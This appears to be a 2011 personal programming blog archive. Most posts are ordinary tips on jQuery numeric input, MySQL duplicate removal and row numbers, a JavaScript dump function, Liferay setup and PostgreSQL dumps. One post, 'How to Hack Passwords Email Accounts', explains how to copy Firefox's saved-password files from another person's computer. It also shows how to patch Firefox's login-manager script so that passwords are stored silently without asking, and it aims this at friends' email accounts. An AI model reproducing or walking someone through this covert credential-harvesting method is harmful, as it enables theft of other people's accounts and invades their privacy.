Monday, December 26, 2011

Javascript Input field to accept only numbers

Javascript Input field to accept only numbers:

The jquery.numeric plugin has some bugs that I notified the author of. It allows multiple decimal points in Safari and Opera, and you can't type backspace, arrow keys, or several other control characters in Opera. I needed positive integer input so I ended up just writing my own in the end.

$(".numeric").keypress(function(event) {
// Backspace, tab, enter, end, home, left, right
// We don't support the del key in Opera because del == . == 46.
var controlKeys = [8, 9, 13, 35, 36, 37, 39];
// IE doesn't support indexOf
var isControlKey = controlKeys.join(",").match(new RegExp(event.which));
// Some browsers just don't raise events for control keys. Easy.
// e.g. Safari backspace.
if (!event.which || // Control keys in most browsers. e.g. Firefox tab is 0
(49 <= event.which && event.which <= 57) || // Always 1 through 9
(48 == event.which && $(this).attr("value")) || // No 0 first digit
isControlKey) { // Opera assigns values for control keys.
return;
} else {
event.preventDefault();
}
});

reference : Link to input field numbers only

Friday, September 9, 2011

Mysql Delete duplicate rows

Mysql delete duplicate rows.


Way 1
DELETE t3 FROM (SELECT t1.name, t1.id FROM (SELECT name FROM TABLENAME GROUP BY name HAVING COUNT(name)>1) AS t0 INNER JOIN TABLENAME t1 ON t0.name = t1.name) AS t2 INNER JOIN TABLENAME t3 ON t3.name = t2.name WHERE t2.id < t3.id

Way 2
ALTER IGNORE TABLE TABLENAME ADD UNIQUE INDEX(COLUMNNAME);

Thursday, September 1, 2011

Javascript print_r dump function

print_r functionality of PHP in JavaScript. Here is the function called dump will give the result of objects and arrays. You can view JavaScript Objects and JavaScript arrays by calling dump function.



/**
 * Function : dump()
 * Arguments: The data - array,hash(associative array),object
 *    The level - OPTIONAL
 * Returns  : The textual representation of the array.
 * This function was inspired by the print_r function of PHP.
 * This will accept some data as the argument and return a
 * text that will be a more readable version of the
 * array/hash/object that is given.
 */
function dump(arr, level) {
    var dumped_text = "";
    if (!level) level = 0;


    //The padding given at the beginning of the line.
    var level_padding = "";
    for (var j = 0; j < level + 1; j++) level_padding += "    ";


    if (typeof (arr) == 'object') { //Array/Hashes/Objects 
        for (var item in arr) {
            var value = arr[item];


            if (typeof (value) == 'object') { //If it is an array,
                dumped_text += level_padding + "'" + item + "' ...\n";
                dumped_text += dump(value, level + 1);
            } else {
                dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
            }
        }
    } else { //Stings/Chars/Numbers etc.
        dumped_text = "===>" + arr + "<===(" + typeof (arr) + ")";
    }
    return dumped_text;
}

Tuesday, July 12, 2011

Complete Liferay Learning Process

To create environment for liferay follow the steps

Step L :
Before you go create a directory called java(any name you prefer) in any location you prefer. Also you must be installed java 1.6 or grater and you must defined the environment variable as follows.



Step I :
Download Liferay latest version here bundled with tomcat and extract it into the folder java/liferay/

Step F :
Download Liferay plug-ins SDK latest version here and extract it into the folder java/liferaysdk/

Step E :
Download Eclipse Java EE IDE for Web Developers and unpack into a directory java/eclipse/

Step R :
Now click on the below link and follow the steps for installing the Liferay into Eclipse.
http://www.liferay.com/community/wiki/-/wiki/Main/Liferay+IDE+Installation+Guide

Step A :
Click here to expand your development environment and install liferay plugin SDK into eclipse.
http://www.liferay.com/community/wiki/-/wiki/Main/Liferay+IDE+Getting+Started+Tutorial

Step Y :
How to create or connect mysql with liferay portal?
Step A :
Goto the below path
MY_JAVA_PATH\liferay-portal-6.0.6\data\hsql\
delete lportal.script and lportal.properties

Step B :
Goto
MY_JAVA_PATH\liferay-portal-6.0.6\tomcat-6.0.29\webapps\
delete the folders sevencogs-hook, sevencogs-mobile-theme and sevencogs-theme

Step C :
Create mysql database called lportal.

Step D :
Goto
MY_JAVA_PATH\liferay-portal-6.0.6\tomcat-6.0.29\webapps\ROOT\WEB-INF\classes\
create file called portal-ext.properties
and edit with following lines:

jdbc.default.driverClassName=com.mysql.jdbc.Driver
jdbc.default.url=jdbc:mysql://localhost/lportal?
useUnicode=true&characterEncoding=UTF-8&useFastDateParsing=false
jdbc.default.username=MYSQL_USERNAME
jdbc.default.password=MYSQL_PASSWORD

Now save the file and start the server.

External useful links to develop good Liferay portal.

How to create Liferay theme using eclipse?
Liferay theme development part 1
Liferay theme development part 2

How to create and install PHP portlet?
Step A :
create a file called index.php
Step B :
Edit index.php with
<?php

echo "This not the usual Hello world.
Here is the new PHP liferay portlet";

?>
Step C :
Make a zip of index.php to phpportlet.zip
Step D :
From control panel plugins installation upload the phpportlet.zip and give context name same phpportlet and click on install
Step E :
Now add this porlet to any of your page just like drag and drop.

That's it finish.

How to add JavaScript(JS) into Liferay portlet?
Liferay JavaScript into portlet

Monday, June 20, 2011

How to Hack Passwords Email Accounts

Do you want to hack or know your friends email account or passwords or any login details? Are you using Firefox 3.6 or lesser version browser? Here is the way to what you finding. Before that beware that it will hurt so many of your friends and buddies. Doing this is purely at your own risk. This post is a wake up call for someone, who blindly using some others system or laptop. By this way the user definitely does not know about that their password is stored in the system. Any way they cannot restrict the system from storing their user account and password.
Once the user logged into the machine that will be the end of the user's privacy. I am a PHP guy so I have written a small PHP program for storing the users account and password. Without the PHP program also you can able to identify the users email accounts and password, but not the 100%.

Ok let’s go to the steps

I thing everyone knows that the Firefox always asking for a remember password, whenever you logging with any email account or any other website. That is the key to hack the accounts.
Do you know where the password has been stored once you click on remember password. If you know then that's good. By default whenever you click on remember password it will be stored in the key3.db and signons.sqlite in Firefox 3.5/3.6 and key3.db and signons.txt in Firefox 3.0.

When you want to view the password stored in Firefox. It can be done in two ways:
1. Click Tools –> Options–> Select security Tab –> click on Saved Password –> click on Show Passwords
Now you can see all the saved passwords.
2. Firefox stores key3.db and signons.sqlite files in Firefox Profile directory.
You can find the Firefox default profile directory over here:
For Windows XP/2000:
C:\Documents and Settings\\Local Settings\Application Data\Mozilla\Firefox\Profiles\xxxxxxxx.default
For Windows 7/vista:
C:\Users\\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxxx.default
Note: xxxxxxxx represents a random string of 8 characters.
Now you can copy both the files in your backup folder.

If you need the passwords, copy key3.db and signons.sqlite files in the Firefox Profile directory of your PC from your backup folder.
For Windows XP/2000:
C:\Documents and Settings\\Local Settings\Application Data\Mozilla\Firefox\Profiles\xxxxxxxx.default
For Windows 7/vista:
C:\Users\\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxxx.default
Now navigate to Click Tools –> Options–> Select security Tab –> Click on Saved Password –> click on Show Passwords

Now we will go to the automated system.
First thing you have to change the Firefox JavaScript file to restrict the asking of remember password while login.
And make the code to store password always, But without asking remember password.
Go to C:\Program Files\Mozilla Firefox\Components
Look for nsloginmanagerprompter.js file. Right click on it and hit on "Edit with Notepad++" or open with any editor.
Press "CTRL + F" and paste in the find box "_showSaveLoginNotification" click enter. This will give you the place to edit.
Next line you can see a line
Line Start: "var neverButtonText ="
Line End: "this._showLoginNotification(aNotifyBox, "password-save", notificationText, buttons);"
Replace all from Line Start to Line End with the below two line.
var pwmgr = this._pwmgr;
pwmgr.addLogin(aLogin);

Likewise look for "_showChangeLoginNotification" and replace everything inside the flower braces with the following two lines
var pwmgr = this._pwmgr;
pwmgr.modifyLogin(aOldLogin, aNewLogin);

Now you are ready. But now the user can identify whether their password stored or not from
Tools --> Options–> Select security Tab –> click on Saved Password –> click on Show Passwords
For this you need a simple automation program.

Tuesday, June 14, 2011

Add row number to MySQL table on select

Add row number to MySQL table on select.

Use the below query to get row number of table.


select row, host from (SELECT (@row := @row + 1) row, c.* FROM `columns_priv` c, (select @row := 0) c) as defined limit 10;

adding row number to MySQL table.
getting row numbers from non primary key table.
Adding row number column to the table in MySQL.

Thursday, February 10, 2011

PostgreSQL Dump Database

PostgreSQL Dump Database and Move Database from one server to another server.

for exporting the database to dump from localhost use the below query
pg_dump -h localhost -p 5432 -U madhavan Source_DB > db.Export.dump

for importing database into server
psql -h 192.168.1.7 -p 5432 -U postgres Source_DB < db.Export.dump

here
-h : Host to copy from
-p : Port
-U : Username of the database
after enter the query it will ask for password for the data base

Wednesday, February 2, 2011

Learn Map Server with PHP

Learn Map server

Map server is one of the biggest resource to represent data graphically.

To learn about Map server, here the link.

Thursday, January 27, 2011

Simple XML Chart Application For Any Application

Here is the simple Chart application. We can use any type of programming and in any platform. Here is the XML/SWF chart application.

Chart Application